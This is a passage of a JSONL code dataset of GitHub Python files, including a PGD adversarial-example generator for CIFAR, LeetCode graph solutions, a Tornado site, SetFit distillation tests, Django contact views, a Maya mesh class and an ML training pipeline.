json.load(config_file)\n\n model = ResNet(BasicBlock, [1, 2, 3, 4]).double()\n model.eval()\n attack = LinfPGDAttack(model,\n config['epsilon'],\n config['num_steps'],\n config['step_size'],\n config['random_start'])\n\n num_eval_examples = config['num_eval_examples']\n eval_batch_size = config['eval_batch_size']\n num_batches = int(math.ceil(num_eval_examples / eval_batch_size))\n\n x_adv = [] # adv accumulator\n\n print('Iterating over {} batches'.format(num_batches))\n\n for ibatch in range(num_batches):\n bstart = ibatch * eval_batch_size\n bend = min(bstart + eval_batch_size, num_eval_examples)\n print('batch size: {}'.format(bend - bstart))\n\n x_batch = cifar.eval_data.xs[bstart:bend, :].reshape(-1, 3, 32, 32)\n y_batch = cifar.eval_data.ys[bstart:bend]\n print(x_batch.shape)\n\n start = time.time()\n x_batch_adv = attack.perturb(x_batch, y_batch)\n end = time.time()\n print(f'Time for perturbing: {end - start}')\n\n x_adv.append(x_batch_adv)\n\n print('Storing examples')\n path = config['store_adv_path']\n x_adv = np.concatenate(x_adv, axis=0)\n np.save(path, x_adv)\n print('Examples stored in {}'.format(path))\n","repo_name":"thomashopkins32/PGDAdversarialLearning","sub_path":"scripts/pgd_attack.py","file_name":"pgd_attack.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"24514725863","text":"# 题目:1952.三除数\n# 难度:EASY\n# 最后提交:2022-05-16 16:08:35 +0800 CST\n# 语言:python3\n# 作者:ZrjaK\n\nclass Solution:\n def isThree(self, n: int) -> bool:\n ans = 0\n for i in range(1,n+1):\n if n % i == 0:\n ans += 1\n return ans == 3","repo_name":"ZrjaK/algorithm","sub_path":"OJ/leetcode/1952.三除数.py","file_name":"1952.三除数.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"43164237623","text":"\"\"\"\nRevisited on 8/22/2023\n\"\"\"\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n adjacencyList = dict()\n for i in range(numCourses):\n adjacencyList[i] = []\n for i in range(len(prerequisites)):\n course, prereq = prerequisites[i]\n adjacencyList[course].append(prereq)\n self.stack = []\n self.visited = set()\n self.cycleDetect = set()\n def topologicalSort(node):\n if node in self.cycleDetect:\n return False\n self.cycleDetect.add(node)\n for n in adjacencyList[node]:\n if n not in self.visited:\n if not topologicalSort(n):\n return False\n self.visited.add(node)\n self.stack.append(node)\n self.cycleDetect.remove(node)\n return True\n for i in range(numCourses):\n if i not in self.visited:\n if not topologicalSort(i):\n return []\n return self.stack\n \nclass Solution:\n ## concept is that we want to apply topological sort, as well\n ## as make sure that our graph has no cycles\n\n ## within our dfs\n ## in our backtracking, remove the current node off of our in path set\n ## but also add the current node to our course stack\n ## since we've finished iterating through adjacency_list[i] at this point, through the recursive\n ## calls that occur in that for loop, we would've already added all the prereqs necessary\n ## for our current node i, so we can safely add i to the stack since all its prereqs would already\n ## be present\n ## this is essentially our topological sort\n\n ## Time complexity is O(V+E), where V is the number of vertices and E is the number of edges\n ## where we iterate through each vertices and each edge for the vertices only once\n ## Space complexity: O(V) vertices in our adjacency list, and O(E) to account for recursive call stack\n ## for a total of O(V+E)\n ## in the case we have a straight line graph (i.e 0:[1],2:[1], 3:[2], 4:[3]), etc\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n ## create adjacency list for directed graph\n adjacency_list = dict()\n for i in range(numCourses):\n adjacency_list[i] = []\n \n for i in range(len(prerequisites)):\n course, prereq = prerequisites[i]\n if (course in adjacency_list):\n adjacency_list[course].append(prereq)\n\n ## apply DFS, in our visited set, we can store a tuple with the node visited, along with the path taken\n path = []\n visited = set()\n in_path = set()\n course_stack = []\n \n for i in range(numCourses): \n ## if we haven't visited this course already from our DFS, and our DFS does not find a cycle\n if (i not in visited and not self.dfs(adjacency_list, visited, in_path, i, course_stack)):\n return []\n return course_stack\n \n \n ## dfs that will traverse the graph\n def dfs(self,adjacency_list : dict, visited : set, in_path : set,i: int, course_stack: []):\n visited.add(i)\n in_path.add(i)\n for vertex in adjacency_list[i]:\n \n ## if we visit this vertex, traverse further down (self.dfs), however if it returns False\n ## that means a cycle has been found\n if vertex not in visited and not self.dfs(adjacency_list, visited, in_path,vertex, course_stack):\n return False\n ## if our vertex is in path, that means that the node we're currently on\n ## is one of the adjacent neighbors, so its a cycle\n elif vertex in in_path:\n return False\n \n course_stack.append(i)\n in_path.remove(i)\n return True\n \n '''\n test case\n inputs: \n numCourses = 6\n prereq_list = [[0,1],[2,3],[2,4],[3,5],[4,1],[5,0]]\n \n adjacency_list = {0:[1], 1:[], 2:[3,4], 3:[5], 4:[1], 5: [0]}\n first iteration (0:[1]):\n visited = {0}\n in_path = {0}\n course_stack = []\n in_path = {0}\n dfs into 1\n \n visited = {0,1}\n in_path = {0,1}\n course_stack appends 1, [1]\n in_path removes 1 = {0}\n dfs exits\n \n course_stack appends 0, [0]\n in_path removes 0 = {}\n returns true, moves onto 1\n \n 1 is already visited, skip to 2\n visited = {0,1,2}\n in_path = {2}\n \n iterate through 2's neighbors, dfs into 3\n visited = {0,1,2,3}\n in_path = {2,3}\n \n dfs into 3's neighbors (3:[5])\n visited = {0,1,2,3,5}\n in_path = {2,3,5}\n \n iterate into 3's neighbors, dfs into 5, 5:[0]\n already visited 0\n course stack adds 5 = [1,0,5]\n in path removes 5 = {2,3}\n \n backtrack into 3's neighbors, nothing left\n in_path removes 3, = {2}\n course stack adds 3, [1,0,5,3]\n \n backtrack into 2's neighbors, 4 is left\n dfs into 4 (4:[1])\n add 4 to visited {0,1,2,3,5,4}\n in path adds 4: {2,4}\n iterate through 4's neighbors, 1\n but 1 is already visited, skip\n course stack adds 4 = [1,0,5,3,4]\n in path removes 4 = {2}\n \n backtrack into 2, neighbors are done iterating\n add 2 into course stack = [1,0,5,3,4,2]\n in path removes 2 = {}\n \n go back into outer loop\n 3,4,5 are already in visited so we just skip those and don't go into dfs\n \n course stack results is [1,0,5,3,4,2]\n \n \n '''\n \n \n \n \n \n ","repo_name":"jyan500/Python-Data-Structures-And-Algos","sub_path":"leetcode_other/Graphs/course_schedule_ii.py","file_name":"course_schedule_ii.py","file_ext":"py","file_size_in_byte":5881,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"12645504312","text":"import tornado.ioloop\nimport tornado.web\nimport os\n\n\nsettings = {'debug': True,\n # 'static_path': '~/PycharmProjects/person_website/static',\n 'autoreload': True\n\n }\n\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"templates/index.html\")\n\n\ndef make_app():\n return tornado.web.Application([\n (r\"/\", MainHandler),\n (r\"/(.*)\", tornado.web.StaticFileHandler, {'path': './static/'}),\n ], **settings\n )\n\n\nif __name__ == \"__main__\":\n app = make_app()\n app.listen(8000)\n tornado.ioloop.IOLoop.current().start()\n","repo_name":"kennethgoodman/person_website","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"25297190397","text":"#Troll name generator v2\n#Assembles random names from collection of vowels and consonants\n\nimport random\nimport string\nversion = \"1.0\"\n\nprint(\"TROLL NAME GENERATOR v\" + version)\n\n#Variables I will use\nvowels = \"aeiou\"\nvowels_uppercase = 'AEIOU'\nconsonants = \"bcdfghjklmnpqrstvwxz\"\nconsonants_uppercase = 'BCDFGHJKLMNPQRSTVWXZ'\nname = \"\"\nconsonant_count = 0\nvowel_count = 0\n\nrandom.seed()\n\n#Name generation process\nname += random.choice(string.ascii_uppercase)\nfor i in range(5):\n #Basic process for version 1.0: Only prevent more than 2/3 consonants/vowels in a row\n if consonant_count > 3:\n consonant_count = 0\n name += random.choice(vowels)\n vowel_count += 1\n elif vowel_count > 2:\n vowel_count = 0\n name += random.choice(consonants)\n consonant_count += 1\n else:\n name += random.choice(string.ascii_lowercase)\n if name[-1] in vowels:\n vowel_count += 1\n else:\n consonant_count += 1\n\nprint(name)\n","repo_name":"vrbloke-minor/minor-old","sub_path":"Python/TrollGen/TrollGen.py","file_name":"TrollGen.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"32513696435","text":"from unittest import TestCase\n\nimport pytest\nfrom datasets import Dataset\nfrom sentence_transformers.losses import CosineSimilarityLoss\n\nfrom setfit import DistillationSetFitTrainer, SetFitTrainer\nfrom setfit.modeling import SetFitModel\n\n\nclass DistillationSetFitTrainerTest(TestCase):\n def setUp(self):\n self.teacher_model = SetFitModel.from_pretrained(\"sentence-transformers/paraphrase-albert-small-v2\")\n self.student_model = SetFitModel.from_pretrained(\"sentence-transformers/paraphrase-MiniLM-L3-v2\")\n self.num_iterations = 1\n\n def test_trainer_works_with_default_columns(self):\n dataset = Dataset.from_dict({\"text\": [\"a\", \"b\", \"c\"], \"label\": [0, 1, 2], \"extra_column\": [\"d\", \"e\", \"f\"]})\n # train a teacher model\n teacher_trainer = SetFitTrainer(\n model=self.teacher_model,\n train_dataset=dataset,\n eval_dataset=dataset,\n loss_class=CosineSimilarityLoss,\n metric=\"accuracy\",\n )\n # Teacher Train and evaluate\n teacher_trainer.train()\n metrics = teacher_trainer.evaluate()\n teacher_model = teacher_trainer.model\n\n student_trainer = DistillationSetFitTrainer(\n teacher_model=teacher_model,\n train_dataset=dataset,\n student_model=self.student_model,\n eval_dataset=dataset,\n loss_class=CosineSimilarityLoss,\n metric=\"accuracy\",\n )\n\n # Student Train and evaluate\n student_trainer.train()\n metrics = student_trainer.evaluate()\n print(\"Student results: \", metrics)\n self.assertEqual(metrics[\"accuracy\"], 1.0)\n\n def test_trainer_raises_error_with_missing_label(self):\n dataset = Dataset.from_dict({\"text\": [\"a\", \"b\", \"c\"], \"extra_column\": [\"d\", \"e\", \"f\"]})\n trainer = DistillationSetFitTrainer(\n teacher_model=self.teacher_model,\n train_dataset=dataset,\n student_model=self.student_model,\n eval_dataset=dataset,\n num_iterations=self.num_iterations,\n )\n with pytest.raises(ValueError):\n trainer.train()\n\n def test_trainer_raises_error_with_missing_text(self):\n dataset = Dataset.from_dict({\"label\": [0, 1, 2], \"extra_column\": [\"d\", \"e\", \"f\"]})\n trainer = DistillationSetFitTrainer(\n teacher_model=self.teacher_model,\n train_dataset=dataset,\n student_model=self.student_model,\n eval_dataset=dataset,\n num_iterations=self.num_iterations,\n )\n with pytest.raises(ValueError):\n trainer.train()\n\n def test_column_mapping_with_missing_text(self):\n dataset = Dataset.from_dict({\"text\": [\"a\", \"b\", \"c\"], \"extra_column\": [\"d\", \"e\", \"f\"]})\n trainer = DistillationSetFitTrainer(\n teacher_model=self.teacher_model,\n train_dataset=dataset,\n student_model=self.student_model,\n eval_dataset=dataset,\n num_iterations=self.num_iterations,\n column_mapping={\"label_new\": \"label\"},\n )\n with pytest.raises(ValueError):\n trainer._validate_column_mapping(trainer.train_dataset)\n\n def test_column_mapping_multilabel(self):\n dataset = Dataset.from_dict({\"text_new\": [\"a\", \"b\", \"c\"], \"label_new\": [[0, 1], [1, 2], [2, 0]]})\n\n trainer = DistillationSetFitTrainer(\n teacher_model=self.teacher_model,\n train_dataset=dataset,\n student_model=self.student_model,\n eval_dataset=dataset,\n num_iterations=self.num_iterations,\n column_mapping={\"text_new\": \"text\", \"label_new\": \"label\"},\n )\n\n trainer._validate_column_mapping(trainer.train_dataset)\n formatted_dataset = trainer._apply_column_mapping(trainer.train_dataset, trainer.column_mapping)\n\n assert formatted_dataset.column_names == [\"text\", \"label\"]\n assert formatted_dataset[0][\"text\"] == \"a\"\n assert formatted_dataset[0][\"label\"] == [0, 1]\n assert formatted_dataset[1][\"text\"] == \"b\"\n\n\ndef train_diff(trainer: SetFitTrainer):\n # Teacher Train and evaluate\n trainer.freeze() # Freeze the head\n trainer.train() # Train only the body\n\n # Unfreeze the head and unfreeze the body -> end-to-end training\n trainer.unfreeze(keep_body_frozen=False)\n\n trainer.train(num_epochs=5)\n\n\ndef train_lr(trainer: SetFitTrainer):\n trainer.train()\n\n\n@pytest.mark.parametrize((\"teacher_diff\", \"student_diff\"), [[True, False], [True, False]])\ndef test_differentiable_models(teacher_diff: bool, student_diff: bool) -> None:\n if teacher_diff:\n teacher_model = SetFitModel.from_pretrained(\n \"sentence-transformers/paraphrase-albert-small-v2\",\n use_differentiable_head=True,\n head_params={\"out_features\": 3},\n )\n teacher_train_func = train_diff\n else:\n teacher_model = SetFitModel.from_pretrained(\"sentence-transformers/paraphrase-albert-small-v2\")\n teacher_train_func = train_lr\n if student_diff:\n student_model = SetFitModel.from_pretrained(\n \"sentence-transformers/paraphrase-MiniLM-L3-v2\",\n use_differentiable_head=True,\n head_params={\"out_features\": 3},\n )\n student_train_func = train_diff\n else:\n student_model = SetFitModel.from_pretrained(\"sentence-transformers/paraphrase-MiniLM-L3-v2\")\n student_train_func = train_lr\n\n dataset = Dataset.from_dict({\"text\": [\"a\", \"b\", \"c\"], \"label\": [0, 1, 2], \"extra_column\": [\"d\", \"e\", \"f\"]})\n # train a teacher model\n teacher_trainer = SetFitTrainer(\n model=teacher_model,\n train_dataset=dataset,\n eval_dataset=dataset,\n metric=\"accuracy\",\n )\n teacher_train_func(teacher_trainer)\n metrics = teacher_trainer.evaluate()\n teacher_model = teacher_trainer.model\n\n student_trainer = DistillationSetFitTrainer(\n teacher_model=teacher_model,\n train_dataset=dataset,\n student_model=student_model,\n eval_dataset=dataset,\n metric=\"accuracy\",\n )\n\n # Student Train and evaluate\n student_train_func(student_trainer)\n metrics = student_trainer.evaluate()\n print(\"Student results: \", metrics)\n assert metrics[\"accuracy\"] == 1.0\n","repo_name":"huggingface/setfit","sub_path":"tests/test_trainer_distillation.py","file_name":"test_trainer_distillation.py","file_ext":"py","file_size_in_byte":6309,"program_lang":"python","lang":"en","doc_type":"code","stars":1676,"dataset":"github-code","pt":"99"} +{"seq_id":"73306338244","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nfrom collections import namedtuple\nimport re\n\n\ndef main():\n\n lines = load_data()\n part1(lines)\n part2(lines)\n\n return\n\n\ndef load_data(filename='2018-12-10.txt'):\n\n with open(filename, 'r') as handle:\n data = [line.strip() for line in handle.readlines()]\n\n return data\n\n\nPoint = namedtuple('Point', ['x', 'y', 'dx', 'dy'])\n\n\ndef part1(lines):\n\n pattern = re.compile('position=<(.{6}), (.{6})> velocity=<(.{2}), (.{2})>')\n points = []\n for line in lines:\n m = pattern.match(line)\n points.append(Point(*[int(element.strip()) for element in m.groups()]))\n\n for t in range(10105, 10106):\n data = []\n for p in points:\n data.append(Point(p.x + p.dx*t, p.y + p.dy*t, 0, 0))\n xs = [p.x for p in data]\n ys = [p.y for p in data]\n min_x = min(xs)\n min_y = min(ys)\n max_x = max(xs)\n max_y = max(ys)\n print('{6}: ({0},{1}) - ({2},{3}) [{4}x{5}]'.format(min_x, min_y, max_x, max_y, max_x - min_x, max_y - min_y, t))\n canvas = [[' ' for _ in range(min_x, max_x+1)] for __ in range(min_y, max_y+1)]\n for p in data:\n canvas[p.y-min_y][p.x-min_x] = '*'\n for row in canvas:\n print(''.join(row))\n print('\\n\\n\\n')\n\n return\n\n\ndef part2(lines):\n\n return\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"clorton/AdventOfCode","sub_path":"2018/2018-12-10.py","file_name":"2018-12-10.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"41262103609","text":"from __future__ import annotations\nfrom dataclasses import asdict, dataclass, field\nfrom functools import partial\nfrom typing import Optional\n\nfrom maya import cmds\nfrom maya.api import OpenMaya\n\nfrom HodoRig.Core import constants, _factory, point, utils\nfrom HodoRig.Nodes._shape import _Shape\n\n\n@dataclass\nclass UV(object):\n \n name: str\n u: list = field(default_factory=partial(list))\n v: list = field(default_factory=partial(list))\n\n @property\n def count(self) -> int:\n return len(self.u)\n \n def to_dict(self) -> dict:\n return asdict(self)\n\n\n@_factory.register()\nclass _Mesh(_Shape):\n\n kApiType = OpenMaya.MFn.kMesh\n\n def _post_init(self):\n path = utils.get_path(self._object)\n self._mfn = OpenMaya.MFnMesh(path)\n self._mit_vtx = OpenMaya.MItMeshVertex(path)\n self._mit_poly = OpenMaya.MItMeshPolygon(path)\n self._modifier = OpenMaya.MDagModifier()\n \n def points(self, world: bool = True, normalize: bool = False,\n vertex_ids: Optional[list] = None) -> OpenMaya.MPointArray:\n\n space = constants.kWorld if world else constants.kObject\n output = self._mfn.getPoints(space)\n \n if vertex_ids:\n points = OpenMaya.MPointArray()\n for vertex_id in vertex_ids:\n points.append(output[vertex_id])\n output = points\n \n if normalize:\n point.normalize(output)\n \n return output\n\n def set_points(self, points: OpenMaya.MPointArray, world: bool = True):\n space = constants.kWorld if world else constants.kObject\n self._mfn.setPoints(points, space)\n \n def uvs(self) -> list:\n data = []\n for name in self._mfn.getUVSetNames():\n uv = UV(name)\n data.append(uv)\n u, v = self._mfn.getUVs(name)\n uv.u = list(u)\n uv.v = list(v)\n \n return data\n\n def set_uvs(self, uv_data: list):\n uv_names = self._mfn.getUVSetNames()\n for data in uv_data:\n uv = UV(**data)\n print(uv)\n if uv.name not in uv_names:\n self._mfn.createUVSetWithName(uv.name)\n u = OpenMaya.MFloatArray(uv.u)\n v = OpenMaya.MFloatArray(uv.v)\n self._mfn.setUVs(u, v, uv.name)\n\n def components(self) -> OpenMaya.MObject:\n single_component = OpenMaya.MFnSingleIndexedComponent()\n component = single_component.create(OpenMaya.MFn.kMeshVertComponent)\n self._mit_vtx.reset()\n while not self._mit_vtx.isDone():\n single_component.addElement(self._mit_vtx.index())\n self._mit_vtx.next()\n\n return component\n \n def to_dict(self, normalize: bool = True) -> dict:\n data = {}\n self._mit_poly.reset()\n\n points = self.points(normalize=normalize)\n\n poly_counts = []\n poly_connects = []\n while not self._mit_poly.isDone():\n vertices = self._mit_poly.getVertices()\n poly_counts.append(len(vertices))\n for i in range(len(vertices)):\n poly_connects.append(vertices[i])\n self._mit_poly.next()\n\n data[constants.kType] = constants.kMesh\n data[constants.kNumVertices] = self._mfn.numVertices\n data[constants.kNumPolygons] = self._mfn.numPolygons\n data[constants.kPoints] = point.array_to_list(points)\n data[constants.kPolygonCounts] = poly_counts\n data[constants.kPolygonConnects] = poly_connects\n data[constants.kUv] = [x.to_dict() for x in self.uvs()]\n\n return data\n\n @classmethod\n def from_dict(cls, data: dict, parent: str | OpenMaya.MObject,\n shape_dir: int = None, scale: float = None):\n\n points = OpenMaya.MPointArray(data.get(constants.kPoints, []))\n if len(points) == 0:\n raise RuntimeError('Invalid shape data !')\n\n if shape_dir is not None:\n point.orient(points, shape_dir)\n if scale is not None:\n point.orient(points, scale)\n\n poly_counts = OpenMaya.MIntArray(data.get(constants.kPolygonCounts, []))\n poly_connects = OpenMaya.MIntArray(data.get(constants.kPolygonConnects, []))\n if poly_counts is None or poly_connects is None:\n raise Exception(\"Invalid mesh data.\")\n\n shape = OpenMaya.MFnMesh().create(points,\n poly_counts,\n poly_connects,\n OpenMaya.MFloatArray(),\n OpenMaya.MFloatArray(),\n parent)\n\n new_node = _factory.create(shape)\n\n uv_data = data.get(constants.kUv)\n if uv_data:\n new_node.set_uvs(uv_data)\n \n cmds.sets(new_node.name, edit=True, forceElement='initialShadingGroup')\n\n return new_node\n \n def update(self):\n self._mfn.updateSurface()\n","repo_name":"RDelet/HodoRig","sub_path":"Nodes/_mesh.py","file_name":"_mesh.py","file_ext":"py","file_size_in_byte":5010,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"99"} +{"seq_id":"36759463291","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.core.mail import send_mail\nfrom .models import Contact,transportation, reviews\nfrom listings.models import Listing\n\n\nfrom .serializer import TrasportationSerializer, ReviewsSerializer, ContactSerializer\nfrom django.http.response import Http404\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework import status\n\ndef contact (request):\n if request.method == \"POST\":\n listing_id = request.POST['listing_id']\n listing = request.POST['listing']\n name = request.POST['name']\n email = request.POST['email']\n phone = request.POST['phone']\n message = request.POST['message']\n user_id = request.POST['user_id']\n realtor_email = request.POST['realtor_email']\n\n # Check if user has made inquiry already:\n if request.user.is_authenticated:\n user_id = request.user.id\n has_contacted = Contact.objects.all().filter(listing_id=listing_id, user_id=user_id)\n if has_contacted:\n messages.error(request, 'You have already made an inquiry for this listing')\n return redirect('/listings/'+listing_id)\n\n contact = Contact(listing=listing, listing_id=listing_id, name=name, email=email, phone=phone, message=message, user_id=user_id )\n\n contact.save()\n\n # SEND EMAIL\n # send_mail(\n # 'Property Listing Inquiry',\n # 'There has been an inquiry fro ' + listing + '. Sign in to the admin panel for more information.',\n # 'realestate@gmail.com',\n # [realtor_email, ],\n # fail_silently=False\n # )\n\n messages.success(request, 'Your request has been submitted, a realtor will get back to you soon')\n return redirect('/listings/'+listing_id)\n \n\n\ndef trans (request):\n if request.method == \"POST\":\n listing_id = request.POST['listing_id']\n listing = request.POST['listing']\n name = request.POST['name']\n email = request.POST['email']\n owner_phone_number = request.POST['owner_phone_number']\n onwer_address = request.POST['onwer_address']\n no_of_boxes = request.POST['no_of_boxes']\n truck_requirement = request.POST['truck_requirement']\n user_id = request.POST['user_id']\n realtor_email = request.POST['realtor_email']\n\n # Check if user has made transportation already:\n if request.user.is_authenticated:\n user_id = request.user.id\n has_contacted = transportation.objects.all().filter(listing_id=listing_id, user_id=user_id)\n if has_contacted:\n messages.error(request, 'You have already made an transportation request')\n return redirect('/listings/'+listing_id)\n\n contact = transportation(listing=listing, listing_id=listing_id, name=name, email=email, owner_phone_number=owner_phone_number,\n onwer_address=onwer_address, no_of_boxes=no_of_boxes,truck_requirement=truck_requirement ,user_id=user_id )\n\n contact.save()\n\n # SEND EMAIL\n # send_mail(\n # 'Property Listing Inquiry',\n # 'There has been an inquiry fro ' + listing + '. Sign in to the admin panel for more information.',\n # 'realestate@gmail.com',\n # [realtor_email, ],\n # fail_silently=False\n # )\n\n messages.success(request, 'Your request has been submitted, a realtor will get back to you soon')\n return redirect('/listings/'+listing_id)\n \n\n\n\ndef postComment(request):\n print('>>>>')\n if request.method == \"POST\":\n comment = request.POST['comment']\n user = request.user\n listing_id =request.POST.get('listing_id')\n post = Listing.objects.get(id=listing_id)\n # parentSno = request.POST.get(\"parentSno\")\n print(\"comment\",\"user\")\n #parent = reviews.objects.get(sno=parentSno)\n print(post, '>?????')\n comment = reviews(comment=comment, user=user, post=post)\n comment.save()\n messages.success(request, \"Your replay has been posted successfully\")\n return redirect(\"/\")\n\n\n\n# ----------------------------------------- APIs----------------------------------------------------------------\n\n# transportation\n\nclass transportation(APIView):\n def post(self, request, format=None):\n serializer = TrasportationSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data,status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n\n# contact\n\nclass contatviews(APIView):\n def post(self, request, format=None):\n serializer = ContactSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data,status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n# reviews\n\nclass reviewsviews(APIView):\n def post(self, request, format=None):\n serializer = ReviewsSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data,status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)","repo_name":"narsimha93/Delhicapitals-6","sub_path":"contacts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"40339363714","text":"#\n\"\"\" \"\"\"\n\n\ndef map_functions(funcs, elements):\n \"\"\"The basic way\n result = []\n for el in elements:\n for f in funcs:\n el = f(el)\n result.append(el)\n \n \"\"\"\n from functools import reduce\n return list(map(lambda elt: reduce(lambda e, f: f(e), funcs, elt), elements))\n\n\ndef is_none(x, none_values=None, excluded_none_values=None):\n \"\"\"A more complete function to check if a value is null.\n It includes numpy.nan.\n\n \"\"\"\n import numpy as np\n if none_values is None:\n none_values = ['nan']\n if excluded_none_values is None:\n excluded_none_values = []\n return ( np.isnan(x) if isinstance(x, (int, float)) else not x or x in none_values ) and x not in excluded_none_values\n\nCOMPARISON_FUNCS = {'=': (lambda x, val: x == val),\n'<=': (lambda x, val: x <= val),\n'<': (lambda x, val: x < val),\n'>':(lambda x, val: x > val),\n'>=': (lambda x, val: x >= val),\n'!=': (lambda x, val: x != val)\n}\n\ndef smart_which(x, inputs, outputs, default_value, missing_value, how='<', custom_which_func=None, custom_missing_value=None):\n \"\"\"How to do a switch case in python without having a fixed length of conditions.\n\n Args:\n x, inputs, outputs, default_value, missing_value, how, custom_which_func, custom_missing_value\n\n \n Returns:\n result\n\n \"\"\"\n if is_none(x):\n return missing_value\n result = default_value\n\n condition = COMPARISON_FUNCS.get(how, COMPARISON_FUNCS['<'])\n if custom_which_func is not None:\n condition = custom_which_func\n try:\n result = next(out for inp, out in zip(inputs[:-1], outputs[:-1]) if condition(x, inp))\n except:\n pass\n return result\n\n\ndef deduplicate_fields_with_no_remove(fields):\n \"\"\" Counter va permettre de compter les occurences.\n Par exemple: \n fields = ['a', 'b', 'c', 'd', 'a', 'a', 'e', 'f', 'g', 'd', 'u', 'h']\n Counter(fields) = Counter({'a': 3,\n 'b': 1,\n 'c': 1,\n 'd': 2,\n 'e': 1,\n 'f': 1,\n 'g': 1,\n 'u': 1,\n 'h': 1})\n new_fields = ['a', 'b', 'c', 'd', 'a_1', 'a_2', 'e', 'f', 'g', 'd_1', 'u', 'h']\n \n \"\"\"\n from collections import Counter\n # ainsi il ne restera que les colonnes ayant des doublons\n my_counter = Counter(fields) - Counter(set(fields))\n new_fields = [ ]\n for col in reversed(fields):\n new_col = col\n if my_counter[col]:# il y a au moins un doublon\n new_col = \"{}_{}\".format(col, my_counter[col])\n my_counter[col] -= 1 # on retire un compteur\n new_fields.append(new_col) \n new_fields = reversed(new_fields)\n return new_fields\n","repo_name":"jonitoh/catch_all_dump","sub_path":"bricabrac.py","file_name":"bricabrac.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"29194750227","text":"from finance_complaint.components import (DataIngestion, DataValidation, DataTransformation, \n ModelTrainer, ModelEvaluation, ModelPusher)\nfrom finance_complaint.exception import FinanceException\nfrom finance_complaint.logger import logging\nfrom finance_complaint.entity import (DataIngestionConfig, TrainingPipelineConfig, DataValidationConfig, \n DataTransformationConfig, ModelTrainerConfig, ModelEvaluationConfig, ModelPusherConfig)\nfrom finance_complaint.entity import (DataIngestionArtifact, DataValidationArtifact, DataTransformationArtifact, \n ModelTrainerArtifact, ModelEvaluationArtifact, ModelPusherArtifact)\nimport os, sys\n\n\nclass TrainingPipeline:\n def __init__(self, training_pipeline_config: TrainingPipelineConfig):\n self.training_pipeline_config= training_pipeline_config\n\n def start_data_ingestion(self)-> DataIngestionArtifact:\n try:\n data_ingestion_config = DataIngestionConfig(training_pipeline_config= self.training_pipeline_config)\n data_ingestion = DataIngestion(data_ingestion_config = data_ingestion_config)\n data_ingestion_artifact = data_ingestion.initiate_data_ingestion()\n return data_ingestion_artifact\n except Exception as e:\n raise FinanceException(e, sys)\n \n def start_data_validation(self, data_ingestion_artifact:DataIngestionArtifact)->DataValidationArtifact:\n try:\n data_validation_config = DataValidationConfig(training_pipeline_config=self.training_pipeline_config)\n data_validation = DataValidation(data_validation_config=data_validation_config, \n data_ingestion_artifact=data_ingestion_artifact)\n data_validation_artifact = data_validation.initiate_data_validation()\n return data_validation_artifact\n except Exception as e:\n raise FinanceException(e, sys)\n \n def start_data_transformation(self, data_validation_artifact: DataValidationArtifact)-> DataTransformationArtifact:\n try:\n data_transformation_config = DataTransformationConfig(training_pipeline_config=self.training_pipeline_config)\n data_transformation = DataTransformation(data_validation_artifact = data_validation_artifact, \n data_transformation_config = data_transformation_config)\n data_transformation_artifact = data_transformation.initiate_data_transformation()\n return data_transformation_artifact\n except Exception as e:\n raise FinanceException(e, sys)\n\n def start_model_training(self, data_transformation_artifact: DataTransformationArtifact)-> ModelTrainerArtifact:\n try:\n model_trainer_config = ModelTrainerConfig(training_pipeline_config=self.training_pipeline_config)\n model_trainer = ModelTrainer(data_transformation_artifact = data_transformation_artifact, \n model_trainer_config = model_trainer_config)\n model_trainer_artifact = model_trainer.initiate_model_training()\n return model_trainer_artifact\n except Exception as e:\n raise FinanceException(e, sys)\n\n def start_model_evaluation(self, data_validation_artifact: DataValidationArtifact, \n model_trainer_artifact: ModelTrainerArtifact)-> ModelEvaluationArtifact:\n try:\n model_evaluation_config = ModelEvaluationConfig(training_pipeline_config=self.training_pipeline_config)\n model_evaluation = ModelEvaluation(data_validation_artifact = data_validation_artifact, \n model_trainer_artifact = model_trainer_artifact, \n model_eval_config = model_evaluation_config) \n model_evaluation_artifact = model_evaluation.initiate_model_evaluation()\n return model_evaluation_artifact\n except Exception as e:\n raise FinanceException(e, sys)\n \n def start_model_pusher(self, model_trainer_artifact: ModelTrainerArtifact)-> ModelPusherArtifact:\n try:\n model_pusher_config = ModelPusherConfig(training_pipeline_config=self.training_pipeline_config)\n model_pusher = ModelPusher(model_trainer_artifact = model_trainer_artifact, \n 